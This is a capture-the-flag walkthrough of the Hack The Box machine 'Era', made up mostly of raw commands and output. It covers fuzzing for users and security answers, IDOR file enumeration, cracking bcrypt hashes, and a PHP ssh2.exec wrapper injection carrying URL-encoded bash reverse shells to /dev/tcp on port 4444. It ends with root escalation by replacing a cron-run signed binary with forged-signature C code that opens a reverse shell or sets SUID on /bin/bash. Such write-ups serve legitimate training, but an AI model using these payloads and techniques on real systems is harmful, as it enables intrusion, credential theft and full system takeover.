Here is my note on ERA box from Hackthebox.
ERA: 10.129.192.54
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
#NO ANON.
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://era.htb/ -H "Host: FUZZ.era.htb"
file [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 82ms]
file.era.htb
file.era.htb/login = NO default admin creds and SQL LOGIN BYPASS.
http://file.era.htb/security_login.php = It's the interesting one.
Put any username and anything afterwards will leads to this error = User not found.
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://file.era.htb/security_login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&answer1=qwop&answer2=qwop&answer3=qwop" -fr "User not found."
john [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 48ms]
eric [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 93ms]
ethan [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 51ms]
veronica [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 73ms]
yuri [Status: 200, Size: 5401, Words: 1916, Lines: 178, Duration: 62ms]
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://file.era.htb/security_login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=john&answer1=FUZZ&answer2=qwop&answer3=qwop" -fr "Incorrect answers. Please try again."
┌──(root㉿kali)-[/home/kali/BOXES/ERA]
└─# gobuster dir -u http://file.era.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x txt,php --exclude-length 6765
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://file.era.htb/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 6765
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 178] [--> http://file.era.htb/images/]
/download.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 9214]
/register.php (Status: 200) [Size: 3205] #Interesting !
/files (Status: 301) [Size: 178] [--> http://file.era.htb/files/]
/assets (Status: 301) [Size: 178] [--> http://file.era.htb/assets/]
/upload.php (Status: 302) [Size: 0] [--> login.php]
/layout.php (Status: 200) [Size: 0]
/logout.php (Status: 200) [Size: 70]
/manage.php (Status: 302) [Size: 0] [--> login.php]
/LICENSE (Status: 200) [Size: 34524]
/reset.php (Status: 302) [Size: 0] [--> login.php]
/register.php = qwop:qwop
Will redirect to login.php and use that same creds as usual.
Upload some random files as usual with upload.php will leads to this:
http://file.era.htb/download.php?id=919
IDOR that id parameter as usual.
for i in $(seq 1 9999); do echo $i >> ids.txt; done
ffuf -w ids.txt:FUZZ -u http://file.era.htb/download.php?id=FUZZ -H 'Cookie: PHPSESSID=2kgvahtkpqvn0n0fp10or71cv4'
Cookie: PHPSESSID=2kgvahtkpqvn0n0fp10or71cv4
ffuf -w ids.txt:FUZZ -u http://file.era.htb/download.php?id=FUZZ -H 'Cookie: PHPSESSID=2kgvahtkpqvn0n0fp10or71cv4' --fs 7686
54 [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 75ms]
150 [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 38ms]
919 [Status: 200, Size: 6364, Words: 2552, Lines: 222, Duration: 55ms]
54 is the interesting one.
54 = site-backup-30-08-24.zip
Source code of this website !
┌──(root㉿kali)-[/home/…/BOXES/ERA/10.129.192.54/site-backup]
└─# sqlite3 filedb.sqlite
SQLite version 3.42.0 2023-05-16 12:36:15
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from files;
54|files/site-backup-30-08-24.zip|1|1725044282
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
┌──(root㉿kali)-[/home/…/BOXES/ERA/10.129.192.54/site-backup]
└─# john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top10000.txt hash.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mustang (yuri)
america (eric)
2g 0:00:03:24 19.21% (ETA: 17:12:03) 0.009786g/s 9.336p/s 40.86c/s 40.86C/s bamboo..monique1
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
We got yuri and eric credentials.
yuri:mustang
eric:america
yuri credential = FTP !
ssh2 php wrapper:
download.php is interesting !
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
admin only allow to showcase file.
admin_ef01cab31aa = We can reset the security question to this user in Update Security Questions section.
Update Security Questions to admin_ef01cab31aa:
admin_ef01cab31aa:qwop:qwop:qwop #Login with security questions.
yuri for FTP service:
ftp> pwd
Remote directory: /php8.1_conf
-rw-r--r-- 1 0 0 313912 Dec 08 2024 ssh2.so
ssh2.exec://user:pass@10.10.10.10:22//usr/bin/id
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/bash -c whoami
bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F<YOUR_IP>%2F4444%200%3E%261%22;
bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F10.10.14.194%2F4444%200%3E%261%22;
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F10.10.14.194%2F4444%200%3E%261%22;
http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20"bash%20-i%20>%26%20%2Fdev%2Ftcp%2F10.10.14.194%2F4444%200%3E%261%22;
WORKS EITHER WAY !
┌──(root㉿kali)-[/home/kali/BOXES/ERA]
└─# sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.194] from (UNKNOWN) [10.129.195.125] 34286
bash: cannot set terminal process group (5602): Inappropriate ioctl for device
bash: no job control in this shell
eric@era:~$ whoami
whoami
eric
eric@era:~$ hostname
hostname
era
ERIC USER-SHELL !
but eric has user.txt.
eric@era:~$ whoami
whoami
eric
eric@era:~$ id
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:~$ pwd
pwd
/home/eric
eric@era:~$ ls
ls
user.txt
eric@era:~$ cat user.txt
cat user.txt
[REDIRECTED]
USER.TXT: [REDIRECTED]
PRIV ESC:
eric -> root:
eric@era:/$ whoami
whoami
eric
eric@era:/$ id
id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
no sudo -l
no crontab.
LINPEAS:
══════════════════════════════╣ Processes, Cron, Services, Timers & Sockets ╠════════════════════════════════
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
[SNIP]
root 6285 0.0 0.0 4784 3248 ? S 21:24 0:00 _ /bin/bash /root/initiate_monitoring.sh
root 6297 0.0 0.0 2776 988 ? S 21:24 0:00 _ /opt/AV/periodic-checks/monitor
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
[+] Networks and neighbours
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.129.0.1 0.0.0.0 UG 0 0 0 eth0
10.129.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
Address HWtype HWaddress Flags Mask Iface
10.129.0.1 ether 00:50:56:b9:2b:b5 C eth0
[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
logrotate 3.19.0
Default mail command: /usr/bin/mail
Default compress command: /bin/gzip
Default uncompress command: /bin/gunzip
Default compress extension: .gz
Default state file path: /var/lib/logrotate/status
ACL support: yes
SELinux support: yes
Writable: /opt/AV/periodic-checks/status.log
-rwxrw---- 1 root devs 16544 Sep 4 21:25 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 205 Sep 4 21:25 /opt/AV/periodic-checks/status.log
eric@era:/opt/AV/periodic-checks$ ls -lah
ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Sep 4 21:27 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Sep 4 21:27 monitor
-rw-rw---- 1 root devs 103 Sep 4 21:27 status.log
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ ls
ls
monitor.bak
status.log
We can upload any malicious monitor file in /opt/AV/periodic-checks here !
eric@era:/opt/AV/periodic-checks$ ls
ls
monitor.bak
status.log
eric@era:/opt/AV/periodic-checks$ echo "chmod u+s /bin/bash" > monitor
echo "chmod u+s /bin/bash" > monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
chmod +x monitor
eric@era:/opt/AV/periodic-checks$ cat monitor
cat monitor
chmod u+s /bin/bash
eric@era:/opt/AV/periodic-checks$ ls -lah
ls -lah
total 36K
drwxrwxr-- 2 root devs 4.0K Sep 4 21:28 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrwxr-x 1 eric eric 20 Sep 4 21:28 monitor
-rwxrw---- 1 root devs 17K Sep 4 21:27 monitor.bak
-rw-rw---- 1 root devs 229 Sep 4 21:28 status.log
#Nope that won't work.
Have to be executed that monitor in the different way other than regular execution.
SO CLOSE !
/opt/AV/periodic-checks/monitor pspy64s PRIV ESC NOTES:
[+] Writable log files (logrotten) (limit 100)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation
logrotate 3.19.0
Default mail command: /usr/bin/mail
Default compress command: /bin/gzip
Default uncompress command: /bin/gunzip
Default compress extension: .gz
Default state file path: /var/lib/logrotate/status
ACL support: yes
SELinux support: yes
Writable: /opt/AV/periodic-checks/status.log
-rwxrw---- 1 root devs 16544 Sep 4 21:25 /opt/AV/periodic-checks/monitor
-rw-rw---- 1 root devs 205 Sep 4 21:25 /opt/AV/periodic-checks/status.log
eric@era:/opt/AV/periodic-checks$ ls -lah
ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Sep 4 21:27 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Sep 4 21:27 monitor
-rw-rw---- 1 root devs 103 Sep 4 21:27 status.log
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak
mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ ls
ls
monitor.bak
status.log
We can upload any malicious monitor file in /opt/AV/periodic-checks here !
check back at pspy again.
pspy64s:
[SNIP]
2025/09/04 21:31:51 CMD: UID=0 PID=1 | /sbin/init
2025/09/04 21:32:01 CMD: UID=0 PID=43130 | /usr/sbin/CRON -f -P
2025/09/04 21:32:01 CMD: UID=0 PID=43132 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:32:01 CMD: UID=0 PID=43131 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
2025/09/04 21:32:01 CMD: UID=0 PID=43133 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/09/04 21:32:01 CMD: UID=0 PID=43135 | openssl asn1parse -inform DER -in text_sig_section.bin
2025/09/04 21:32:01 CMD: UID=0 PID=43134 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:32:01 CMD: UID=0 PID=43138 | grep -oP (?<=UTF8STRING :)Era Inc.
2025/09/04 21:32:01 CMD: UID=0 PID=43136 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:32:01 CMD: UID=0 PID=43142 | /opt/AV/periodic-checks/monitor
2025/09/04 21:33:01 CMD: UID=0 PID=43146 | /usr/sbin/CRON -f -P
2025/09/04 21:33:01 CMD: UID=0 PID=43145 | /usr/sbin/CRON -f -P
2025/09/04 21:33:01 CMD: UID=0 PID=43147 | /usr/sbin/CRON -f -P
2025/09/04 21:33:01 CMD: UID=0 PID=43148 |
2025/09/04 21:33:01 CMD: UID=0 PID=43150 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:33:01 CMD: UID=0 PID=43153 | openssl asn1parse -inform DER -in text_sig_section.bin
2025/09/04 21:33:01 CMD: UID=0 PID=43152 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:33:01 CMD: UID=0 PID=43159 |
2025/09/04 21:33:01 CMD: UID=0 PID=43157 | /bin/bash /root/initiate_monitoring.sh
2025/09/04 21:33:01 CMD: UID=0 PID=43160 | /opt/AV/periodic-checks/monitor
#WORKS !
eric@era:/opt/AV/periodic-checks$ cat a.c
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'");
return 0;
}
eric@era:/opt/AV/periodic-checks$
eric@era:/opt/AV/periodic-checks$ gcc exploit.c -o backdoor
eric@era:/opt/AV/periodic-checks$ ls
a.c backdoor monitor monitor_text_sig.bin shell.c status.log
eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor.bak
eric@era:/opt/AV/periodic-checks$ ls
a.c backdoor monitor monitor_text_sig.bin shell.c status.log text_sig
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig backdoor
eric@era:/opt/AV/periodic-checks$ cp backdoor monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
eric@era:/opt/AV/periodic-checks$ cat a.c
#include <stdlib.h>
int main() {
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/4444 0>&1'");
return 0;
}
eric@era:/opt/AV/periodic-checks$
eric@era:/opt/AV/periodic-checks$ gcc a.c -o backdoor
eric@era:/opt/AV/periodic-checks$ ls
a.c backdoor monitor monitor_text_sig.bin shell.c status.log
eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig /opt/AV/periodic-checks/monitor
eric@era:/opt/AV/periodic-checks$ ls
a.c backdoor monitor monitor_text_sig.bin shell.c status.log text_sig
eric@era:/opt/AV/periodic-checks$ objcopy --add-section .text_sig=text_sig backdoor
eric@era:/opt/AV/periodic-checks$ cp backdoor monitor
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
┌──(root㉿kali)-[/home/kali/BOXES/ERA]
└─# sudo rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.194] from (UNKNOWN) [10.129.195.125] 49790
bash: cannot set terminal process group (43593): Inappropriate ioctl for device
bash: no job control in this shell
root@era:~# whoami
whoami
root
root@era:~# hostname
hostname
era
ROOT-SHELL !
#THAT WON'T WORK !
eric@era:/tmp$ cat exploit.c
cat exploit.c
// privesc.c
#include <stdlib.h>
#include <unistd.h>
int main() {
// Be explicit; some environments care about gids too
setgid(0);
setuid(0);
// Make /bin/bash SUID-root
system("chmod u+s /bin/bash");
return 0;
}eric@era:/tmp$ gcc -static -s -o monitor exploit.c 2>/dev/null || gcc -s -o monitor exploit.c
<xploit.c 2>/dev/null || gcc -s -o monitor exploit.c
eric@era:/tmp$ chmod +x monitor
chmod +x monitor
eric@era:/tmp$ ls -lah | grep "monitor"
ls -lah | grep "monitor"
-rwxrwxr-x 1 eric eric 813K Sep 4 21:38 monitor
eric@era:/tmp$ openssl asn1parse -genstr 'UTF8:Era Inc.' -out text_sig_section.bin
<e -genstr 'UTF8:Era Inc.' -out text_sig_section.bin
0:d=0 hl=2 l= 8 prim: UTF8STRING :Era Inc.
eric@era:/tmp$ openssl asn1parse -inform DER -in text_sig_section.bin
openssl asn1parse -inform DER -in text_sig_section.bin
0:d=0 hl=2 l= 8 prim: UTF8STRING :Era Inc.
eric@era:/tmp$ objcopy \
--add-section .text_sig=text_sig_section.bin \
--set-section-flags .text_sig=noload,readonly \
objcopy \ monitor
> --add-section .text_sig=text_sig_section.bin \
> --set-section-flags .text_sig=noload,readonly \
> monitor
eric@era:/tmp$ objdump -h monitor | grep .text_sig
objdump -h monitor | grep .text_sig
28 .text_sig 0000000a 0000000000000000 0000000000000000 000ca904 2**0
eric@era:/tmp$ objcopy --dump-section .text_sig=out_check.bin monitor
objcopy --dump-section .text_sig=out_check.bin monitor
eric@era:/tmp$ openssl asn1parse -inform DER -in out_check.bin
openssl asn1parse -inform DER -in out_check.bin
0:d=0 hl=2 l= 8 prim: UTF8STRING :Era Inc.
eric@era:/tmp$ cp monitor /opt/AV/periodic-checks/monitor
cp monitor /opt/AV/periodic-checks/monitor
eric@era:/tmp$ chmod +x /opt/AV/periodic-checks/monitor
chmod +x /opt/AV/periodic-checks/monitor
Wait for a few minutes for it to execute.
root@era:~# whoami
whoami
root
root@era:~# hostname
hostname
era
root@era:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@era:~# ls
ls
answers.sh
clean_monitor.sh
initiate_monitoring.sh
monitor
root.txt
root@era:~# cat root.txt
cat root.txt
[REDIRECTED]
ROOT.TXT: [REDIRECTED]
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
